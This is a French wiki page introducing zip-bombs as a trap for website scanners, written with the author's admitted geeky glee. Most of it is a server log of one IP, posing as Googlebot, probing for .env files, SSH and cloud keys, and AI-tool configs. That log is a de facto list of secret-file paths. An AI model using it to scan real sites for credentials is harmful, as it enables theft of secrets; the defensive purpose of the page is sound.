Wiki de sebsauvage.net

Outils pour utilisateurs

Outils du site

Piste : • 💣 Zip-Bomb
zipbomb

Table des matières

💣 Zip-Bomb

Cette page est encore récente et peut contenir des coquilles.

Une zip-bomb, c'est un petit fichier-piège qu'on envoie au client (le navigateur ou un autre logiciel) et qui sera décompressé en un énorme fichier qui va ralentir ou planter le client en consommant plein de RAM ou d'espace disque. Beaucoup considèrent cela comme une mauvaise pratique, mais je vous avoue que c'est un plaisir geek de gourmet de voir les pirates-en-herbe qui essaient de pirater votre site se manger 200 Go de consommation RAM.

Notez que c'est plus pour le fun qu'un véritable outils de sécurité.

Donc puisqu'on me l'a demandé, je vais vous expliquer comment mettre une zip-bomb sur votre site pour piéger les pirates (Du moins les moins fûtés).

L'idée est de piéger certaines pages que les pirates scannent sans relâche, telle que:

  • des fichiers sensibles qui traînent (.env)
  • des pages d'information serveur (phpinfo.php)
  • des pages de login (wp-admin.php,/admin, etc.)
  • des tentatives d'injection SQL
  • etc.

Le tout à la recherche de failles de sécurité ou de pages et fichiers non protégés.

Histoire de vous donner une idée, voici un extrait du log de mon serveur d'une IP qui recherche des choses à pirater (bien sûr il ment et prétend être Google pour ne pas être bloqué):

Cliquez pour afficher ⇲

Cliquez pour masquer ⇱

Exemple de log 

35.205.23.175 - - [15/Aug/2026:02:09:15 +0200] "GET / HTTP/2.0" 200 1960 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.git/config HTTP/2.0" 200 5261 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /about HTTP/2.0" 301 363 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /wp-json HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.aws/config HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /rclone.conf HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.aws/credentials HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /about/ HTTP/2.0" 200 1615 "https://www.sebsauvage.net/about" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "POST /graphql HTTP/2.0" 200 5228 "https://www.sebsauvage.net" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.git-credentials HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.gitconfig HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.git/HEAD HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.gitlab-ci.yml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.github/workflows/deploy.yml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.env HTTP/2.0" 200 4610 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "POST /api/graphql HTTP/2.0" 200 5219 "https://www.sebsauvage.net" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /links HTTP/2.0" 301 338 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.env.example HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "POST /v1/graphql HTTP/2.0" 200 5228 "https://www.sebsauvage.net" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /api/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.env.bak HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /.env.backup HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:16 +0200] "GET /links/ HTTP/2.0" 200 17454 "https://www.sebsauvage.net/links" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.env.old HTTP/2.0" 200 4614 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.env.production HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.env.local HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /backend/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /admin/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /config/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /service-account.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /secrets.json HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /secrets.yml HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /wiki HTTP/2.0" 301 337 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /credentials.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /wiki/ HTTP/2.0" 302 294 "https://www.sebsauvage.net/wiki" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /service_account.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /firebase-adminsdk.json HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /Dockerfile HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /key.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /serviceAccountKey.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /firebase-service-account.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.github/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /wiki/doku.php?id=accueil HTTP/2.0" 200 10610 "https://www.sebsauvage.net/wiki/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.s3cfg HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.docker/config.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.npmrc HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.boto HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.htpasswd HTTP/2.0" 403 477 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /terraform.tfstate HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /.svn/entries HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /wiki/lib/exe/js.php?t=dokuwiki&tseed=54bb54ba90e605050eceb8d38d14a3a3 HTTP/2.0" 200 31469 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:17 +0200] "GET /wiki/lib/exe/jquery.php?tseed=8faf3dc90234d51a499f4f428a0eae43 HTTP/2.0" 200 96705 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.ssh/id_ed25519 HTTP/2.0" 200 5242 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.ssh/id_ecdsa HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /docker-compose.yaml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.vscode/launch.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.ssh/id_rsa HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.ssh/id_dsa HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.ssh/known_hosts HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.ssh/config HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.ssh/authorized_keys HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /id_rsa HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /id_dsa HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /server.key HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /key.pem HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /privatekey.key HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /private-key HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /id_ecdsa HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /id_ed25519 HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /ssl/localhost.key HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /host.key HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /ssl/server.key HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.openclaw/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /localhost.key HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.openclaw/openclaw.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.aider.conf.yml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.continue/config.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.cursor/mcp.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.codex/config.toml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.hermes/config.yaml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:18 +0200] "GET /.hermes/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /.hermes/auth.json HTTP/2.0" 200 5242 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /.mcp.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /.claude.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /.claude/settings.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /.config/anthropic/credentials/default.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /.bashrc HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /.bash_profile HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /.profile HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /wp-config.php.old HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /wp-config.php.bak HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /storage/logs/laravel.log HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /.zshrc HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /auth.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /laravel/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:19 +0200] "GET /user/login HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /manage HTTP/2.0" 200 5242 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /dashboard HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /.env.php.bak HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /core/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /config/.env.php HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /console HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /portal HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /auth/login HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /login HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /admin HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /admin/login HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /signin HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /configuration.php.bak HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /public/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /.env.dev HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /app HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /settings HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /my HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /.env.swp HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /workspace HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /config.php.bak HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /profile HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /account HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Mobile Safari/537.36"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /web/.env HTTP/2.0" 200 4591 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /application.yml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /application.properties HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /config/application.properties HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /bootstrap.yml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /bootstrap.properties HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /config/secrets.yml HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /.gradle/gradle.properties HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /actuator/env HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /appsettings.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /gradle.properties HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /appsettings.Development.json HTTP/2.0" 200 5219 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:20 +0200] "GET /local.settings.json HTTP/2.0" 200 5228 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
35.205.23.175 - - [15/Aug/2026:02:09:21 +0200] "GET /settings.py HTTP/2.0" 200 5242 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
